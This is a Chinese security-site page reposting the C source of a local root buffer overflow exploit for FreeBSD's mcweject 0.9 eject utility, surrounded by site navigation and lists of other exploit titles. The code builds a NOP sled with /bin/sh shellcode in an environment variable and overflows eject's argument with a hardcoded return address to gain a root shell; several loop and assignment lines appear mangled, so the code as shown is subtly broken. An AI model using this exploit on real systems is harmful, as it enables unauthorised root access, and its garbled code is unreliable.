• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链
您的位置:首页 > 网络安全 >Exploit > FreeBSD mcweject 0.9 (eject) Local Root Buffer Overflow Exploit

FreeBSD mcweject 0.9 (eject) Local Root Buffer Overflow Exploit

作者:佚名 字体:[增加 减小] 来源:互联网

佚名 向大家分享了FreeBSD mcweject 0.9 (eject) Local Root Buffer Overflow Exploit ,其中包含freebsd,freebsd官网,freebsd下载,freebsd安装教程,freebsd是什么等知识点,遇到此问题的同学们可以参考下
// ejecsploit.c - local root exploit for bsd's eject.c
// harry
// vuln found by kokanin (you 31337!!! ;))
// thanks to sacrine and all the other netric guys!!! you rule :)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define LEN 1264
#define NOP 0x90

extern char** environ;

int main(){

char buf[LEN];
char* ptr;
char* arg[4];
unsigned int ret, i;
char shellcode[]="\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x50\x8d\x53\x08\x52\x53\xb0\x3b\x50\xcd"
"\x80\xe8\xe4\xff\xff\xff/bin/sh";
// hardcoded... too boneidle to fix this
ret = 0xbfbfee16;
char envshell[4096];
ptr = envshell;
for (i = 0; i < 4096 - strlen(shellcode) - 1; i ) *(ptr ) = NOP;
for (i = 0; i < strlen(shellcode); i ) *(ptr ) = shellcode;
*(ptr) = 0x0;
memcpy (envshell, "BLEH=",5);
putenv(envshell);

memset (buf, 0x41, sizeof(buf));
buf[LEN-5] = (char) ( 0x000000ff & ret);
buf[LEN-4] = (char) ((0x0000ff00 & ret) >> 8);
buf[LEN-3] = (char) ((0x00ff0000 & ret) >> 16);
buf[LEN-2] = (char) ((0xff000000 & ret) >> 24);
buf[LEN-1] = 0x0;

arg[0] = "/usr/local/sbin/eject";
arg[1] = "-t";
arg[2] = buf;
arg[3] = NULL;

execve (arg[0], arg, environ);

return 0;
}
</div>

您可能想查找下面的文章:

  • FreeBSD mcweject 0.9 (eject) Local Root Buffer Overflow Exploit

相关文章

  • OllyDBG v1.10 and ImpREC v1.7f (export name) BOF PoC
  • Linux Kernel
  • ITechBids 7.0 Gold (XSS/SQL) Multiple Remote Vulnerabilities
  • Microsoft DNS Server (Dynamic DNS Updates) Remote Exploit
  • MyBulletinBoard (MyBB)
  • Download Accelerator Plus - DAP 8.x m3u File Buffer Overflow Exploit (c)
  • Apache mod_jk 1.2.19 Remote Buffer Overflow Exploit (win32)
  • Joomla Component n-forms 1.01 Blind SQL Injection Exploit
  • Joomla Component com_content 1.0.0 (ItemID) SQL Injection Vuln
  • Maian Events 2.0 Insecure Cookie Handling Vulnerability

文章分类

  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链

最近更新的内容

    • VMware Workstation (hcmon.sys 6.0.0.45731) Local DoS Vulnerability
    • Rianxosencabos CMS 0.9 Remote Add Admin Exploit
    • Microsoft Excel Malformed Palette Record DoS PoC (MS07-002)
    • phpDatingClub (website.php page) Local File Inclusion Vulnerability
    • BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (py)
    • Dreampics Builder (page) Remote SQL Injection Vulnerability
    • e107 Plugin BLOG Engine 2.2 Blind SQL Injection Exploit
    • jSite 1.0 OE (SQL/LFI) Multiple Remote Vulnerabilities
    • PHP 4.4.5 / 4.4.6 session_decode() Double Free Exploit PoC
    • fuzzylime cms 3.01 (polladd.php poll) Remote Code Execution Exploit (pl)

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有